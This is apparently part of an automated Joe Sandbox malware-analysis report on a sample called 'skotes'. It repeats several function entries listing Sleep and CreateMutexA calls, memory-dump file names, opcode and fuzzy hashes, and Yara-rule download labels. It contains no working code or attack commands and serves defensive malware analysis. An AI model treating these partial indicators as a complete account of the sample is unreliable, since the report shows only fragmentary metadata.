Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00AAA963
CreateMutexA.KERNELBASE(00000000,00000000,00B03254), ref: 00AAA981

Memory Dump Source

Source File: 00000001.00000002.1746831215.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.1746818244.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746831215.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746877793.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746890667.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746942997.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747030114.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747045083.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747067454.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747067454.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747100705.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747116706.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747133193.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747152191.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747170462.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747187044.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747201259.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747717299.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747770840.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747793172.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747837126.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747874251.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747972191.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747993810.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748029577.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748115115.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748132302.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748152837.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748166578.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748181609.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748195716.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748211983.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748227277.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748240665.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748257722.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748271446.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748271446.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748315030.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748328600.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748341677.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748356647.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748371532.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748384236.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: dabf769a75bc31512ec78d3ec828f9393cbd75f51c2bcb6ed47a6184acad81d2
Instruction ID: 8ee374e2708e22d015719251141783c004fd73bf0649f86e9d19df7442e90785
Opcode Fuzzy Hash: dabf769a75bc31512ec78d3ec828f9393cbd75f51c2bcb6ed47a6184acad81d2
Instruction Fuzzy Hash: 1B312A317102009BEB089BBCDDC97AEB7A5EFD6314F204219F014973D6D7755980C762

Function 00AAA54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00AAA963
CreateMutexA.KERNELBASE(00000000,00000000,00B03254), ref: 00AAA981

Memory Dump Source

Source File: 00000001.00000002.1746831215.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.1746818244.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746831215.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746877793.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746890667.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746942997.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747030114.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747045083.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747067454.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747067454.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747100705.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747116706.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747133193.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747152191.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747170462.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747187044.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747201259.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747717299.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747770840.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747793172.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747837126.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747874251.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747972191.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747993810.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748029577.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748115115.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748132302.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748152837.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748166578.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748181609.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748195716.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748211983.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748227277.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748240665.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748257722.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748271446.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748271446.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748315030.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748328600.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748341677.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748356647.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748371532.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748384236.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 1eeec27556d68fbeece94fa66dc76aa880e50d5c334ce668f145fa52f7307c13
Instruction ID: 931d4eb6427d91dcd80a8957a746a7b38671c35ea03a6e0cf4b57886065788e2
Opcode Fuzzy Hash: 1eeec27556d68fbeece94fa66dc76aa880e50d5c334ce668f145fa52f7307c13
Instruction Fuzzy Hash: FE315B31B102008BEB08DB7CDDC97ADB7A6EFD6314F248618E015973D2C7369980C756

Function 00AAA682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00AAA963
CreateMutexA.KERNELBASE(00000000,00000000,00B03254), ref: 00AAA981

Memory Dump Source

Source File: 00000001.00000002.1746831215.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.1746818244.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746831215.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746877793.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746890667.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746942997.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747030114.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747045083.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747067454.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747067454.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747100705.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747116706.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747133193.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747152191.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747170462.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747187044.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747201259.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747717299.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747770840.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747793172.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747837126.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747874251.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747972191.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747993810.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748029577.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748115115.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748132302.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748152837.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748166578.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748181609.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748195716.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748211983.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748227277.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748240665.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748257722.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748271446.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748271446.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748315030.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748328600.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748341677.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748356647.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748371532.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748384236.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: e83dc902d2ff4a864ac908cf859af96a8501d9874fa3faf185f72b41cb909416
Instruction ID: 532f60ba3ada4362b1ff746400d4e87f6741507116faaf85c2e6e214a8c7d6e2
Opcode Fuzzy Hash: e83dc902d2ff4a864ac908cf859af96a8501d9874fa3faf185f72b41cb909416
Instruction Fuzzy Hash: 773146317102009BEB08DB78DDC9BAEB7FAEBD6310F248618E014D72D2D73A9980C752

Function 00AA9ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00AAA963
CreateMutexA.KERNELBASE(00000000,00000000,00B03254), ref: 00AAA981

Memory Dump Source

Source File: 00000001.00000002.1746831215.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.1746818244.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746831215.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746877793.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746890667.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746942997.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747030114.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747045083.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747067454.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747067454.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747100705.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747116706.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747133193.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747152191.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747170462.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747187044.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747201259.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747717299.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747770840.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747793172.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747837126.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747874251.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747972191.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747993810.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748029577.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748115115.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748132302.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748152837.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748166578.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748181609.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748195716.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748211983.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748227277.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748240665.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748257722.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748271446.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748271446.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748315030.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748328600.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748341677.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748356647.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748371532.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748384236.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 158ad87b1f7be6c99f98f61250967b0b3b969987d8dd73819cb32526bf300c54
Instruction ID: a259e59cbd34bccf6fa528f0a46f358b5aace1f1facd2882433f08bd7ebe1e57
Opcode Fuzzy Hash: 158ad87b1f7be6c99f98f61250967b0b3b969987d8dd73819cb32526bf300c54
Instruction Fuzzy Hash: 30216B317142009BEB18AB7CEDC976EF7A9EFD2310F204229E414C72D6DB769981C751

Function 00AAA856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00AAA963
CreateMutexA.KERNELBASE(00000000,00000000,00B03254), ref: 00AAA981

Memory Dump Source

Source File: 00000001.00000002.1746831215.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.1746818244.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746831215.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746877793.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746890667.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746942997.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747030114.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747045083.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747067454.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747067454.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747100705.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747116706.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747133193.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747152191.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747170462.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747187044.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747201259.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747717299.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747770840.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747793172.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747837126.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747874251.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747972191.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747993810.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748029577.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748115115.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748132302.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748152837.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748166578.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748181609.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748195716.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748211983.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748227277.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748240665.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748257722.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748271446.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748271446.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748315030.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748328600.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748341677.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748356647.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748371532.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748384236.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 3312769532b62c1739337158805fc3fd32ab1c1bad670b817d5a90f8b2e7e264
Instruction ID: b3d068b53590b65bc8bc7541d0b1ed10b5373f3218faec8119a67340d7a937e6
Opcode Fuzzy Hash: 3312769532b62c1739337158805fc3fd32ab1c1bad670b817d5a90f8b2e7e264
Instruction Fuzzy Hash: 2E213A312552009EEB346768DD9A77EB3D5DFA7700F240816E504972D2CF7E9981C693

Function 00AAA34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00AAA963
CreateMutexA.KERNELBASE(00000000,00000000,00B03254), ref: 00AAA981

Memory Dump Source

Source File: 00000001.00000002.1746831215.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.1746818244.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746831215.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746877793.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746890667.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746942997.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747030114.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747045083.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747067454.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747067454.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747100705.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747116706.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747133193.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747152191.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747170462.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747187044.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747201259.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747717299.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747770840.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747793172.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747837126.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747874251.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747972191.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747993810.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748029577.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748115115.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748132302.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
